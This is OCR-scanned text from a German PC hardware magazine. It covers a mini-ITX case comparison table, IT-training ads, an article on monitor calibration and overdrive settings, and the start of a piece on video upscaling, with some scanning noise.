MINI-ITX-GEHÄUSE 


Auszug aus Testtabelle 
mit 39 Wertungskriterien 


Gehäuse 
Hersteller (Webseite) 


—_— 
SPAR-TIPP 


Chieftec 
Gaming Cube CI-018-0P 


Hardware 


Gaming Cube CI-01B-OP 


Chieftec (www.chieftec.com) 


Sugo SG 11 


Silverstone (www.silverstonetek.com) 


Inter-Tech (www.inter-tech.de) 


Steelwing Dynamic Red 
Enermax (www.enermax.com) 


Link zum PCGH-Preisvergleich 


www.pcgh.de/preis/1583693 


www.pcgh.de/preis/1229649 


www.pcgh.de/preis/1427637 


www.pcgh.de/preis/1549496 


Preis/Preis-Leistungs-Verhältnis (getes- 
tete Version) 


Ca. € 50,-/gut bis sehr gut 
(kein Seitenfenster/keine Dämmung) 


Ca. € 65,-/befriedigend 
(Kein Seitenteinfenster/keine Dämmung) 


Ca. € 40,-/befriedigend bis gut 
(kein Fenster/keine Dämmung) 


Ca. € 150,-/mangelhaft 
(Seitenteil aus Glas/keine Dämmung) 


Version mit Fenster/ohne Dämmung 
Ausstattung (20 %) 
Plátze für Laufwerke 


Ca. € 50,-/са. € 50,- 
4,92 


1x 5,25 Zoll, 1 x 3,5 Zoll, 2 x 3,5/2,5 Zoll, 
3x 2,5 Zoll 


Nicht vorhanden/ca. € 65,- 
4,95 
1x 5,25 Zoll 2x 3,5/2,5 Zoll, 9 x 2,5 Zoll 


Nicht vorhanden/ca. € 40,- 
5,72 
2x 5,25 Zoll 4 x 3,5 Zoll, 2 x 2,5 Zoll 


Ca. € 150,-/ca. € 150,- 


5,66 
2x3,5 Zoll, 1 x 2,5 Zoll 


Erweiterungs-Slots (Blende) 


Vier 


Vier 


Vier 


Drei 


Handbuch 


Einfaches Faltblatt 


Sehr ausführlich 


Einfaches Faltblatt 


Sehr ausführlich 


Lüfterplätze 


Deckel: 1 x 120 mm, Front:1 x 120 mm, 
Heck: 1 x 120 mm, Seite:-, Boden:- 


Deckel: 80 mm, Front:-, Heck: 1 x 80 mm, 
Seite: 120 mm, Boden: - 


Deckel:-, Front: 1 x 80 mm, Heck: 1 x 92 mm 
oder 80 mm, Seite: - , Boden: - 


Deckel:-, Front:1 x 120 mm, Heck-, Seite:-, 
Boden:- 


Vorhandene Lüfter 


Keine 


1x 120 mm (Seite rechts vorne) 


Keine 


1x 120 mm (Front, rot beleuchtet) 


Frontanschlüsse 


2 x USB 3.0, 1 x USB 2.0, Audio 


2 x USB 3.0, Audio 


2 x USB 3.0, Audio 


2 x USB 3.0, Audio 


Besonderheiten 


Gehäuse aufklappbar, Zwei-Kammer-System, 
Wakü-Schlauchausgänge, werkzeuglose 
Laufwerksbefestigung, Staubschutz für den 
Deckel, Staubschutz an Front, Boden 


Demontierbare Spezialhalterungen für 2 x 
2,5-Zoll- (oberhalb des 5,25-Zoll-Schachts) 
und 7 x 2,5-Zoll-Laufwerke (extra Element 
mit 2 x 80 mm Lüfterplätzen), Staubschutz 
an der Seite 


Interne Halterung für Laufwerksbefestigungs- 
schrauben, Staubschutz an Front und Heck 


Seitenteil aus Glas, Staubschutz für den 
Deckel, Netzteil-Gehäuse, Staubschutz an 
der Front 


INerwindungssteifheit" 


Eigenschaften (20 %) 1,99 2,42 241 2,14 

Material (nicht gewertet) Stahl und Kunststoff Stahl und Kunststoff Stahl und Kunststoff Glas und Aluminium 

Gewicht (Nicht gwertet) 5,1 kg 4,45 kg 5,0 kg 3,8 kg 

Abmessungen (H x B x T)/Volumen 32,5 x 26,5 x 39,0 cm/33,6 Liter 21,2 x 27,0 x 39,3 cm/22,5 Liter 36,5 x 18,0 x 42,0 cm/27,6 Liter 30,0 x 17,6 x 38,7 cm/20,4 Liter 
Platz für Grafikkarte/CPU-Kühler 32,0,/15,0 cm 36,8/8,2 cm 36,0/14,5 cm 29,0,/8,0 cm 

"Verarbeitung allgemein/Schnittkanten |Gut/sehr gut/sehr gut Sehr gut/befriedigend/sehr gut Gut/befriedigend/gut Sehr gut/sehr gut/sehr gut 


Zusammenbau * 


Sehr gut: Das Zweikammersystem, bei dem 
die nicht demontierbaren Laufwerkskäfige 
und das Netzteil unterhal der Mainbordhalte- 
rung positioniert sind sowie die Möglichkeit 
das Gehäuse nach vorn aufzuklappen, 
erleichtern den Einbau deutlich. 


Befriedigend: Für den Einbau der Platine, der 
GPU und der Laufwerke ist ausreichend Platz 
vorhanden. Das Netzteil wird jedoch oberhalb 
des CPU-Kühlers eingebaut. Das erschwert 
vor allem das Verlegen von Kabeln. 


Gut: das Gehäuse verfügt zwar nur über eine 
Kammer, der untere Laufwekskäfig kann aber 
ausgebaut werden. Die Netzteilposition an 
der Oberseite des Gehäuses vereinfacht die 
Verkabelung der Platine und der Laufwerke 


Gut: Trotz des kompakten Innenraums lässt 
sich die Hardware problemlos einbauen. Das 
Netzteil wird zwar oberhalb des CPU-Kühlers 
montiert, aber das SFX-Netzteil deckt nicht 
den ganzen Bereich oberhalb des CPU-Küh- 
lers ab. 


Besonderheiten beim Zusammenbau 


Klappmechanismus für Deckel-Front-Kon- 
struktion, Separate Kammer für die Platine, 
Aussparung unter dem Sockel, Aussparung 
für Kabeldurchführungen, sehr gute Entkop- 
pelung der HDDs 


Festplattenkäfig herausnehmbar/Halterungen 
für die 2,5-Zoll-Laufwerke demontierbar, sehr 
gute Entkoppelung der HDDs 


Eine Laufwerkshalterung (2 x 3,5 und 1 x 2,5 
Zoll) ist demontierbar, sehr gute Entkoppe- 
lung der HDDs 


Festplattenhalterung herausnehmbar, mäßige 
Entkoppelung der HDDs 


Praxisprobleme 


Bei Netzteilen mit mehr als 15 cm Länge 
muss die linke Halterung des 3,5/2,5-Zoll 
Kombikäfigs für die Kabelverlegung ausge- 
baut werden 


Netzteilposition oberhalb der Platine sowie 
die Strebe, an der die Laufwerkshalterung 
(7 x 2,5 Zoll) befestigt ist, erschweren den 
Einbau der Grafikkarte 


Keine Probleme 


Keine Probleme 


Kompatibilitätstest 


Extended-, XL-ATX und ATX passen nicht 


Extended-, XL-ATX und ATX passen nicht 


Extended-, XL-ATX und ATX passen nicht 


Extended-, XL-ATX und ATX passen nicht 


tal/schrág vorne (45-Grad-Winkel) 


FAZIT 
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Q Zweikammersystem/Deckel aufklappbar 
© Geringe Lautheit trotz fehlender Lüfter 


© Temperatur CPU/GPU (keine Lüfter) 


Wertung: 3,48 


© Zwei Halterungen für neun 2,5-Zoll-SSDs 
© Relaitv Leise trotz fehlender Dämmung 


© keine Dämmung, trotzdem relativ leise 
© Ausstattung (keine Lüfter vorhanden) 


© Kühlung CPU/hohe Innenraumtemperatur & Kühlung CPU und GPU (taktet herunter) 


Wertung: 3,57 


Wertung: 3,83 


Leistung (60 %) 3,49 3,49 3,67 4,03 

Temperatur CPU IC 78° С 78° C 76°С 

Temperatur GPU (Lüfterumdrehzahl/Takt) | 82,0° С (2.470 U/min/1.745 MHz) 78° C (2.320 U/min/1.823 MHz) 86° C (2.605 U/min/1759 MHz) 80 °C (2.399 U/min/1810 MHz) 
Temperatur Innenraum Gehäuse/M.2-SSD |53° C/64* C 59,1? C/66° C 48,8? С/69° C 40? С/60° C 

Lautheit der Lüfter, 50 cm Abstand fron- |2,3/2,5 Sone 2,3/2,5 Sone 2,3/2,7 Sone 3,5/3,5 Sone 


© Sehr wertige Fertigung (kein Kunststoff) 
© Kühlleistung GPU (kaum Luftzirkulation) 


© Lautheit des Frontlüfters/keine Dämmung 


Wertung: 3,98 


www.pcgameshardware.de 


* System: Intel Core i7-6700K, Intel 2170, Gigabyte Geforce GTX 1070 OC Edition (83 Grad Temp-Target), 2 x 8 GiByte DDR4-2133-RAM, Themalright AXP-100 (Q-Fan-Profil: Standard), Corsair Corsair RM 550X/550 Watt (ATX), Umgebungstemperatur: 24 °C 


LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 


T 


mit Peer Heinlein, 
Heinlein Support GmbH 


er 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


ё python 


Puppet Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


mNETWAYs» /NPUppet 


Y 
f /ComputecAcademy 


; IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


= Bleiben Sie trotz zeitlicher Engpässe 
up-to-date. 


cmo 


Effiziente BASH-Skripte 


mit Klaus Knopper, 

Gründer der Knoppix-Distribution, 
KNOPPER.NET 

199 € 


- L [Linux Linux Foundation 
FOUNDATION ШЩШЕ 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — OpenStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
5у54 AG 


Mad a 


Enterprise Experts 


www.computec-academy.de 
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Bild: Pixabay 


Den Monitor auspegeln 


Eine Monitorkalibrierung ist eigentlich nur für Grafiker relevant. Aber auch Gamer können an einigen 


Stellschrauben drehen, um das bestmögliche Bild angezeigt zu bekommen. 


amit ein Foto auf dem Moni- 
IV nahezu genauso aussieht 
wie auf dem Ausdruck, ist ein hoch- 
wertiges Modell erforderlich, das 
oftmals schon ab Werk kalibriert ist 
und einen vierstelligen Preis kos- 
tet. Die hohe Bildqualität hat ihren 
Preis: Das Display ist meist nicht 
sehr reaktionsschnell, was aber ei- 
nem Photoshopper auch herzlich 
egal sein kann. Die Prioritäten ei- 
nes Gamers sind genau andershe- 
rum: Eine schnelle Reaktionszeit 
ist weitaus wichtiger als eine hohe 
Farbtreue. 


Eine Kalibrierung des Monitors, 
erst recht eine mit einem Farbmess- 
gerät, einem sogenannten Kolori- 
meter, ist für Gamer oder Privatan- 
wender nicht notwendig. Danke, 
dass Sie bis hierher gelesen haben. 
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Spaß beiseite: Auch wer nicht un- 
bedingt auf dem Monitor exakt 
dieselben Farben sehen muss, die 
hinterher ein Drucker auf dem Pa- 
pier ausgibt, sollte sich zumindest 
in die Untiefen der Monitor-Einstel- 
lungen begeben, um das Beste mit 
überschaubarem Aufwand aus dem 
Gerät Während 
professionelle Grafiker ihren Bild- 
schirm regelmäßig mit dem Farbka- 
librierer auspegeln sollten, reicht 
es für den Otto Normal-Gamer ab- 
solut aus, nach dem Aufstellen an 
einigen wenigen Stellschrauben zu 
drehen. Einige Tools und Testbilder 
helfen dabei. 


herauszuholen. 


Monitor richtig aufstellen 

Das Monitorbild muss zur Umge- 
bung passen und nicht unbedingt 
umgekehrt. Wer im finsteren Keller 


zockt, braucht logischerweise eine 
weitaus niedrigere Helligkeit als 
jemand, der wortwörtlich im Glas- 
haus sitzt. Meistens ist es aber ein 
Raum mit Fenster. 
Der Monitor steht idealerweise 
senkrecht zum Fenster, sodass das 
Licht seitlich auf die Arbeitsfläche 
scheint. Nicht direkt am Fenster, 
damit die Bildschirmfläche so 
wenig Tageslicht wie möglich re- 
flektiert. Auch wenn die meisten 
Modelle mittlerweile wieder matt 
sind, können Reflexionen das Bild 
noch immer beeinträchtigen. Wür- 
de der Monitor entgegen dem Licht 
stehen, wird man stets vom Son- 
nenlicht geblendet und die Hellig- 
keit des Bildschirms müsste hoch- 
geschraubt werden. Und im Licht 
scheint es direkt ins Display. 


Helligkeit und Kontrast 
einstellen 

Sofern er es nicht schon ist, sollte 
der Monitor zunächst auf Werksein- 
stellungen zurückgesetzt werden. 
Die meisten Modelle bieten damit 
schon ein recht akzeptables Aus- 
gangsniveau für eigene Nachjustie- 
rungen. Die Helligkeit ist die erste 
Stellschraube, an der gedreht wer- 
den sollte. Dafür ist auch nicht un- 
bedingt ein Testbild oder anderes 
Hilfsmittel nótig - es reicht, etwa 
auf den Windows-Desktop oder 
im Lieblingsspiel die Leuchtkraft 
nach eigenem Gusto einzupegeln. 
Sie sollte nicht zu niedrig sein, 
damit das Bild noch erkennbar 
ist. Zu hohe Helligkeit hingegen 
strengt die Augen mehr an. Weni- 
ger ist hier mehr. Der Menübalken 
im On-Screen-Display (OSD) sollte 
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zur Hälfte bis zu drei Viertel gefüllt 
sein. Monitore bieten fast immer 
eine maximale Helligkeit über 300 
cd/m? - in der Praxis werden ledig- 
lich 200 bis 250 cd/m? benötigt, 
sofern man nicht mit der Sonnen- 
brille davor sitzt. 


Die Windows-Bildkalibrierung 
ist eine gute Hilfe zur passablen 
Pi-mal-Daumen-Einstellung des 
Monitors. Am schnellsten öffnen 
Sie diese mit einem Druck auf die 
Windows-Taste, gefolgt von den 
Buchstaben “dccw” und der Enter- 
Taste. Die wichtigste Einstellung 
wird gleich zuerst vorgenommen: 
der Gamma-Wert. Er ist dafür ver- 
antwortlich, dass 
gleichmäßig von Schwarz bis Weiß 
reicht - und nicht nur von Dun- 
kelgrau nach Hellgrau. Helligkeit 
und Kontrast können anhand der 


ein Graukeil 


Testbilder nochmal ausgesteuert 
werden, sofern das Ergebnis noch 
nicht zufriedenstellend ist. 


Farbstich ausgleichen 

Letztendlich kann anhand der drei 
Grundfarben Rot, Grün und Blau 
ein eventueller Farbstich ausgegli- 
chen werden. Bevor Sie aber hier 
Hand anlegen, sollten Sie sich ver- 
gewissern, dass andere Einstellun- 
gen im OSD, die das beeinflussen, 
einen neutralen Wert haben, falls 
das der Reset auf Werkseinstel- 
lung nicht schon erledigt hat: Die 
Farbtemperatur, 
den, sollte auf 6.500 K eingestellt 
und ein eventueller Blaufilter de- 
aktiviert sein. Ist ein Regler für 
„Farbe“ oder „Sättigung“ zu finden, 
sollte er einen mittleren Wert ha- 
ben. Ein Farbstich sollte zunächst 
im OSD korrigiert werden, bevor 
die RGB-Werte in der Windows- 
Bildkalibrierung geändert werden. 
Denn diese werden zusammen mit 


sofern vorhan- 


dem Gamma-Wert im sogenannten 
ICC-Profil gespeichert, das von Pro- 
grammen mit Farbverwaltung ver- 
wendet wird. 


Gerade günstige Geräte neigen 
gerne zum Blaustich. An sich fällt 
ein Farbstich oft nur im direkten 
Vergleich mit einem weiteren Dis- 
play auf. Die Farbtemperatur per 
RGB auszupegeln ist daher meist 
nur notwendig, 
Displays auf dem Tisch stehen. Ide- 
alerweise handelt es sich um glei- 


wenn mehrere 


che Modelle, da es schwer ist, zwei 
unterschiedliche auf einen Nenner 
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zu bringen. Jedes Panel besitzt 
Eigenschaften 
bezüglich Helligkeit, Kontrast und 
Farbdarstellung. 


unterschiedliche 


Grafiktreiber-Regler 

In den Grafiktreiber-Einstellungen 
finden sich oft ähnliche oder auch 
andere Optionen zur Farbwieder- 
gabe des Displays. In den Radeon- 
Einstellungen ist unter dem Reiter 
„Anzeige“ lediglich die Farbtem- 
peratur zu finden, die nicht un- 
bedingt denselben Effekt wie die 
gleichnamige Funktion im OSD des 
Monitors haben muss. Wer die Far- 
ben bereits hierüber ausgepegelt 
hat, sollte softwareseitig die Finger 
davon lassen. Der Knopf „Display- 
Color“ öffnet wieder die Windows- 
eigene Bildschirmkalibrierung. 


Nvidia bietet hier mehrere Op- 
tionen im Grafiktreiber, was aber 
nicht besser sein muss. Denn da- 
mit gibt es auch mehr Einstellun- 
gen, die denen des OSD entgegen 
wirken können. Nur wer mit den 
Regelmöglichkeiten des Monitors 
selbst nicht zufrieden ist, sollte 
hier in den Nvidia-Einstellungen 
Helligkeit, Kontrast oder Gamma 
einpegeln. Ansonsten sollte die 
voreingestellte Option „Andere 
Anwendungen regeln die Farbein- 
stellungen“ aktiviert bleiben. Da- 
von unabhängig lassen sich die 
Bildschirmfarben anhand zweier 
Regler zusätzlich verändern: „Digi- 
tale Farbanpassung“ ist ein einfa- 
cher Sättigungsregler und mittels 
„Farbton“ lässt sich der Bildschirm 
einfärben. Der praktische Nutzen 
beider Funktionen hält sich aber in 
Grenzen. Die Regler sollten über- 
haupt nur angefasst werden, wenn 
die Farben innerhalb des Lieblings- 
spiels zu fahl oder zu satt sind. Da- 
durch ruiniert man sich aber die 
Farbtreue, die bei günstigen oder 
Mittelklasse-Monitoren ohnehin 
bestenfalls mittelmäßig ist. 


Overdrive: Schlierenfrei 
spielen 

Bislang haben wir uns lediglich da- 
mit befasst, ein schickes Standbild 
zu bekommen. Da es sich bei Spie- 
len aber um Bewegtbild handelt, 
soll auch dieses gleichermaßen 
möglichst flüssig und scharf laufen. 
Für ein ruckelfreies Bild sind Bild- 
rate der GPU und die Bildwieder- 
holfrequenz des Monitors verant- 
wortlich. Seitens Bildkalibrierung 


Die wichtigsten Monitoreinstellungen 


) Gamma-Korrektur 


Wenn der Bildschirm ein 50-prozentiges Grau anzeigt, nimmt das Auge es nicht 
als solches wahr, sondern als viel heller. Die empfundene Helligkeit steigt nicht 
linear, sondern in dunklen Bereichen steiler als in hellen. Es bedarf daher einer 
Korrektur zwischen berechnetem Farbwert und tatsächlich angezeigter Farbe auf 
dem Monitor. Für das 50-prozentige Grau muss der PC tatsächlich ein 73-prozen- 
tiges berechnen, da der Gamma-Wert in der Regel bei 2,2 liegt. Je nach Modell 
und persönlichem Empfinden auch einige Nachkommastellen drum herum. Die 
Gammakorrektur kann in manchen Monitor-Menüs vorgenommen werden — 
komfortabler ist aber der Regler in der Windows-Kalibrierung. 


) Farbtemperatur 


Die Farbtemperatur beschreibt in Kelvin (K), wie kalt oder warm ein Licht wirkt — 
beim Monitorbild genau so wie bei Glühbirnen. Ein Tageslichtweiß wird mit 

5.500 K beschrieben, ein häufiger Standardwert im Monitor-Menü ist oft 6.500 K. 
Ist das Bild zu gelblich, also zu warm, oder zu bläulich, also zu kalt, kann dem mit 
der Farbtemperatur etwas entgegengewirkt werden. Farbstiche lassen sich aber 
auch an den RGB-Reglern in der Windows-Kalibrierung gut ausgleichen. 


) Blaulichtfilter 


Helles blaues Licht lässt die Augen stärker ermüden, macht aber auch gleichzeitig 
wach, indem es dem Hirn Tageslicht vorgaukelt, selbst wenn der Körper bereits 
müde ist. Die so genannten Blaulichtfilter ändern daher meist die Farbtempera- 
tur ins Warme und/oder reduzieren gleichzeitig die Helligkeit. Die bestmögliche 
Bilddarstellung wird zugunsten der Ergonomie geopfert. Die Funktion sollte dann 
verwendet werden, wenn man lange am Bildschirm liest. 


Vorgehensweise zur Gammaanpassung 


Mit dem Gammawert werden die mathematische Beziehung zwischen den an den Bildschirm 
gesendeten Rot-, Grün- und Blauwerten sowie die von diesem ausgestrahlte Menge Licht 
definiert. 

Zum Anpassen des Gammawerts auf der nächsten Seite versuchen Sie, das Bild so einzustellen, 
dass dieses wie das Beispielbild mit der Beschriftung "Gamma OK" aussieht. 


Gamma zu niedrig Gamma OK 


Klicken Sie auf "Weiter", um den Vorgang fortzusetzen. 


Mit der Windows-Bildschirmkalibrierung lässt sich der Monitor auf ein Niveau 
einstellen, das für Privatanwender absolut ausreichend ist. Einfach Windowstaste 
drücken und „ассум“ eingeben. 


Abbrechen 
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L BEMNEHEENMENENEEEHEENEEHEBNEENENENEHENENENEN 
Die Eizo-Testbilder lassen sich unter www.eizo.de/monitor-test/ abrufen. Damit kann 
die Panel-Qualitát recht einfach überprüft werden. 
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Sowohl die Pi-mal-Daumen-Kalibrierung mittels Windows-Tool „dccw” als auch die mittels Kolorimeter haben wir an einem Mittelklasse-Gaming-Modell 
durchgeführt und jedes Mal die Farbtreue mit der Software ,,CalMan" nachgemessen. Es handelt sich um einen Asus MG248Q, Full HD und 144 Hz. 


ColorChecker® Analysis 


Performance Data 
White Luminance: 324,1 cd/m? 
Black Luminance: 0,699 cd/m? 

Avg deltaE: 12,2 

MaxdeltaE: 17,8 ` (9 Point: 6M 


IW Im 


ColorChecker® Analysis 


heck how well the display could perform with 
a corrective 3D LUT 


Performance Data 
White Luminance: 288,6 cd/m? 


Black Luminance: 0,706 cd/m? 
Avg deltaE: 7,9 
Max deltaf: 17,4 @ Point: 7M 


E ER 


ColorChecker® Analysis 


ме a larger visual error comparison for es 
the color compar: art below. 


d view or print your Display 


Performance Data 
White Luminance: 221 cd/m° 


Black Luminance: 1,095 cd/m? 
Avg deltaE: 3,3 
MaxdeltaE: 7,6 @ Point: 2D 


4 Click "Next" to check how well the display could perform with F 
a corrective 30 LUT. 


Performance Data 
White Luminance: 262,6 cd/m? 


Black Luminance: 0,645 cd/m? 
Avg deltaF: 2,4 
MaxdeltaE: 6,05 @ Point: 4E 


D 
E 
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..— RGB Triplet: 235, 235, 16 


deltat: 1,8 


Monitor bei Werkseinstellung 


Wer ein neues Gerát zum ersten Mal verwendet 
oder es auf Werkseinstellung zurücksetzt, hat nicht 
immer ein akzeptables Bild. Die Helligkeit etwa ist 
auf Maximum und die Farbtreue recht niedrig. Dem 
Nicht-Grafiker kann das zwar egal sein, aber mit 

ein wenig Feineinstellung wird die Darstellung noch 
etwas besser. An der unteren Farbskala ist der Soll- 
und Ist-Zustand dargestellt. Er beweist die deutliche 
Tendenz ins Blaue hinein. Die Farbtemperatur ist also 
eher kalt. 


Nach der Windows-Kalibrierung 


Schon die Pi-mal-Daumen-Kalibrierung mittels , dc- 
cw"-Tool kann die Farbabweichungen etwas lindern. 
Dabei haben wir die Helligkeit auf ein angenehmes 
Niveau reduziert (White Luminance). Der Schwarzwert 
ist jedoch gleichgeblieben (Black Luminance), sodass 
mit der Helligkeit das Kontrastverháltnis etwas 
gesunken ist. Auch die kalte Farbtemperatur ist noch 
vorhanden — sie wird meist als natürlicher empfunden 
als eine warme, da auch das Tageslicht , kalt" ist. 
Insgesamt ein für Privatanwender akzeptables Niveau. 


RGB-Profil des Monitors 


Unser Asus-Modell verfügt über einen RGB-Modus, 
der die beste Farbtreue bzw. geringsten Farbabwei- 
chungen aufweist. Wer auf dieses Profil wechselt, 
nimmt zunáchst einen deutlichen Rotstich wahr, was 
die Farbskala in der Messung links auch bestátigt. 
Die Farbabweichungen sind zwar recht gering, das 
Bild aber gefühlt nicht besser. Der Schwarzwert ist 
mit einem Wert über 1 cd/m? viel zu hoch und der 
Kontrast damit zu gering. In den Graustufen ist die 
Farbabweichung noch recht hoch, wáhrend andere 
Farben dem Ideal schon etwas näher kommen. 


RGB-Profil nach Kalibrierung 


ach der Kalibrierung mittels unseres Kolorimeters, 
einem „i1 Display Pro", zeigt der Monitor, was letzlich 
aus ihm herauszuholen ist. Für ein TN-Panel, dessen 
Farbraumabdeckung in der Regel geringer ist als die 
der IPS-Pendants, ist das Ergebnis nicht schlecht und 
ür ambitionierte Hobby-Bildbearbeiter sogar akzepta- 
bel. Für professionelle Ansprüche ist erst ein Delta-E- 
Wert deutlich unter 2, eher um 1 ausreichend gering. 
Dieses Niveau erreichen auch nur entsprechend teure 
Grafiker-Monitore. 
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hat man darauf keinen Einfluss. 
Hier kann mithilfe der Overdrive- 
Technologie den Schlieren bei Be- 
wegungen etwas entgegengewirkt 
werden. Overdrive ist die wohl 
wichtigste Funktion eines Moni- 
tors für Gamer. Sie reduziert etwas 
die Reaktionszeit der Flüssigkris- 
talle und daher bei Bewegungen 
auch die Schlieren. Jeder Hersteller 
nennt die Overdrive-Technologie 
im On-Screen-Display anders. Mal 
wird sie als „OD“ abgekürzt, als 
„trace free“ bezeichnet oder ist 
schlicht unter „Reaktionszeit“ zu 
finden. Das beste Overdrive Niveau 
ermitteln Sie mit dem Ghosting- 
Test der Website testufo.com. Ist 
die Funktion deaktiviert, zieht das 
vorbeifliegende Ufo Schlieren mit 
sich. Auf höchster Stufe werden die 
Schlieren aber durch einen hellen 
Schatten getauscht. Meist ist daher 
eine goldene Mitte der beste Kom- 
promiss, der beides gleicherma- 
ßen gering hält. Manche Monitore 
bieten lediglich nur ein „On“ und 
„Off“, die meisten aber mehrere 
Stufen. 


Kein On-Screen-Display 
beim Notebook 

Wer sein Notebook-Display aus- 
pegeln möchte, muss auf die trei- 
berseitigen Grafikeinstellungen 
zurückgreifen, da es kein On- 
Screen-Display gibt. Die Helligkeit 
variiert bei einem Notebook oft, 
je nach Umgebung und Netz- oder 
Akku-Betrieb. Unterwegs kann 
eine niedrige Helligkeit einiges an 
Akkulaufzeit herausschinden. Die 
maximale Helligkeit wird lediglich 
gebraucht, um etwa im Freien noch 
etwas erkennen zu können. In bei- 
den Szenarien wird bestenfalls 
gesurft oder es kommen einfache 
Office-Anwendungen zum Einsatz, 
sodass jegliche Farbanpassung 
hierfür überflüssig ist. Da farbkriti- 
sche Anwendungen, egal ob Photo- 
shop oder Spiele, meistens nur mit 
Stromanschluss betrieben werden, 
sollte die Bildkalibrierung auch im 
Betrieb als Desktop-Ersatz erfol- 
gen. Nehmen Sie die Kalibrierung 
wie schon beschrieben mittels 
„decw“ vor, mit den Unterschieden, 
dass die Helligkeit per Fn-Tasten- 
kombination eingestellt wird und 
ein Kontrastregler in den Intel- 
Grafikeinstellungen zu finden ist. 
Regler für Gamma und die Inten- 
sität der drei Farbkanäle bietet das 
Windows-Tool ja selbst. Manche 
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Notebook-Hersteller bieten zusätz- 
lich eigene Software, die voreinge- 
stellte Bildprofile mitbringt, wie sie 
auch im OSD einiger Monitore zu 
finden sind. 


Der ,sRGB-Modus" 

Das Profil mit der besten Farb- 
treue, egal ob im OSD-Menü oder 
softwareseitig in einem Tool, wird 
meist „sRGB“ genannt. Eine hohe 
Farbtreue muss nicht unbedingt 
die subjektiv beste Bilddarstellung 
bedeuten. Das Profil eignet sich da- 
her nur für eine spontane Bearbei- 
tung von Druckfarben - und auch 
mehr schlecht als recht. Wer hier 
annähernd verbindliche Farben am 
Bildschirm sehen móchte, kommt 
um eine Kalibrierung mithilfe ei- 
nes Kolorimeters nicht herum. 
Unser Beispiel auf der linken Seite 
zeigt, dass selbst aus Mittelklasse- 
Modellen mit TN-Panels einiges he- 
rauszuholen ist. 


Qualitätsprüfung mit Test- 
bildern 

Der Monitor ist dann richtig einge- 
stellt, wenn einem das Bild gefällt. 
Eine Messung per Fotosensor, wie 
wir sie vorgenommen haben, ist 
nicht nótig. Mithilfe einiger Test- 
bilder lassen sich die voreingenom- 
menen Einstellungen und die Mo- 
nitorqualität generell etwas besser 
überprüfen. Eine gute Móglichkeit 
bietet hier der Eizo-Monitortest, 
der online einfach unter www.eizo. 
de/monitor-test/ aufrufbar ist und 
mehrere Testbilder auf Vollbild 
skaliert. Neben der Farbdarstellung 
und dem Gamma-Wert wird der 
Monitor so auch noch auf seine 
Qualität überprüft, auf die eine Ka- 
librierung keinen Einfluss hat. Das 
sind etwa die Blickwinkelstabilität, 
die Homogenität, Reaktionszeit 
und eventuelle Pixelfehler. Dabei 
handelt es sich um ein Testbilder- 
Paket von vielen im Internet. 


Ingame-Kalibrierung 

Viele Spiele bieten in den Grafikop- 
tionen eine eigene Gamma-Korrek- 
tur oder Helligkeitseinstellungen. 
Diese sollten stets der Einstellungen 
im Grafiktreiber oder im Monitor- 
Menü vorgezogen werden. Letztlich 
zählen auch nicht schicke Testbil- 
der, sondern ein bestmögliches 
Bild im Spiel. Daher ist die Kalib- 
rierung oder die Prüfung hinterher 
auch anhand des Lieblingstitels im 
Fenstermodus denkbar. (mc) 


Overdrive: Kristallbeschleuniger 


Ein mittleres Niveau ist meistens der beste Kompromiss. 


An den Flüssigkristallen wird eine Spannung angelegt, damit sie sich drehen, 
wodurch die Pixe 


Zeit, bis si 
bezeichne 


wird. 


andere Farben annehmen. Da sie tráge sind, dauert es einige 


e den náchsten Zustand angenommen haben, was als Reaktionszeit 


e lánger die Reaktionszeit, umso mehr Schlieren sind bei Bewe- 


gungen zu sehen. Die Overdrive-Funktion erhóht die Spannung daher etwas, damit 


die Kristal 
hinaus, de 


r Pixel 


e sich schneller drehen. Je nach Spannung aber schießen sie Ober: Ziel 


lackert also kurz heller als er soll. Statt Schlieren treten bei Be- 


wegungen nun helle Schatten an Kanten auf, was als sogenannter Korona-Effekt 


bezeichne 


kann. 


wird. 


Die Overdrive-Funktion ist im OSD meist abgestuft, sodass der 


utzer selbst den für sich besten Kompromiss aus Schlieren und Korona wählen 


Helligkeitsverlauf mit und ohne Overdrive 


IB Overdrive aus Ей Overdrive mittel Bi Overdrive hoch 


20 40 60 80 


Millisekunden 


schnel 


it dem Ghosting-Test der Website www.testofu.com ist die beste Overdrive Stufe 
gefunden. Am Schweif des vorbeifliegenden Ufos sind ohne Overdrive 


deutlich Schlieren zu erkennen. Auf höchster Overdrive-Stufe zieht das Ufo einen 
invertierten Schatten mit sich. Da jedes Panel über eine andere Reaktionszeit 
verfügt, sind Schlieren und Schatten stets unterschiedlich ausgeprägt. Manche 
Modelle weisen selbst auf höchster Stufe keine Schatten auf, daher kann sie 

stets aktiviert bleiben. Ebenso, wenn es bei schnellen Shootern auf die letzten 
Millisekunden an Reaktionszeit ankommt ohne Rücksicht auf Bildqualität. Selbst 
schnelle TN-Panels weisen aber deutliche Schatten auf höchster Stufe auf. Bei 
einem mittleren Niveau sind meist weder Schlieren noch Schatten wahrnehmbar — 
es bietet oft die beste Bildqualität bei Bewegungen. 
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Overdrive mittel Overdrive hoch 
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Richtig hochskalieren 


Ein Upgrade von Full-HD auf 4K muss nicht unbedingt in einem besseren Bild enden - entscheidend ist 


die Verarbeitung durch Display oder Player. Als Alternative für Monitore stellen wir den MadVR vor. 


edes Jahr bringen Fernseh- und 

Monitorhersteller immer wieder 
neue Produkte auf den Markt, die 
mit höheren Auflösungen und ver- 
besserter Optik den videophilen 
Nutzer umschwärmen. Garniert 
mit Schlagwörtern wie Ultra High 
Definition, HDR oder mittlerweile 
sogar 8K, sollen uns messerscharfe 
Bilder präsentiert werden. Auch 
wenn die Technik heutzutage theo- 
retisch in der Lage ist, diese Un- 
mengen an Bildpunkten darstellen 
